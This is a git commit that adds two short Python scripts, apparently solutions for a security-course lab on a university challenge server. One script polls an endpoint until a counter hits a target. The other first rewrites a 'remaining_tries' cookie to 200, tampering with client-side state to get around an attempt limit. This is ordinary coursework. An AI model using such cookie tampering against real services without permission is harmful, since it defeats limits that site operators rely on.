Initial commit

This commit is contained in:
2025-11-20 17:46:30 +00:00
commit 1cedbf433c
3 changed files with 48 additions and 0 deletions

Binary file not shown.

21
pa/lab2/chall_requests.py Normal file
View File

@@ -0,0 +1,21 @@
from requests import get
import re
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25053"
resp = get(BASE+"/hello")
content = resp.content.decode('utf-8')
target = re.search(r"target ([0-9]+)", content).group(1)
print("Target:", target)
current = 0
while current != target:
resp = get(BASE+"/more", cookies=resp.cookies)
content = resp.content.decode('utf-8')
current = re.search(r"current value is: ([0-9]+)", content).group(1)
print("Current:", current)
resp = get(BASE+"/finish", cookies=resp.cookies)
print(resp.content)

View File

@@ -0,0 +1,27 @@
from requests import get
import re
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25054"
resp = get(BASE+"/hello")
content = resp.content.decode('utf-8')
print(content)
print(resp.cookies)
for cookie in resp.cookies:
if cookie.name == "remaining_tries":
cookie.value = "200"
target = re.search(r"target ([0-9]+)", content).group(1)
print("Target:", target)
current = 0
while current != target:
resp = get(BASE+"/more", cookies=resp.cookies)
content = resp.content.decode('utf-8')
current = re.search(r"current value is: ([0-9]+)", content).group(1)
print("Current:", current)
resp = get(BASE+"/finish", cookies=resp.cookies)
print(resp.content)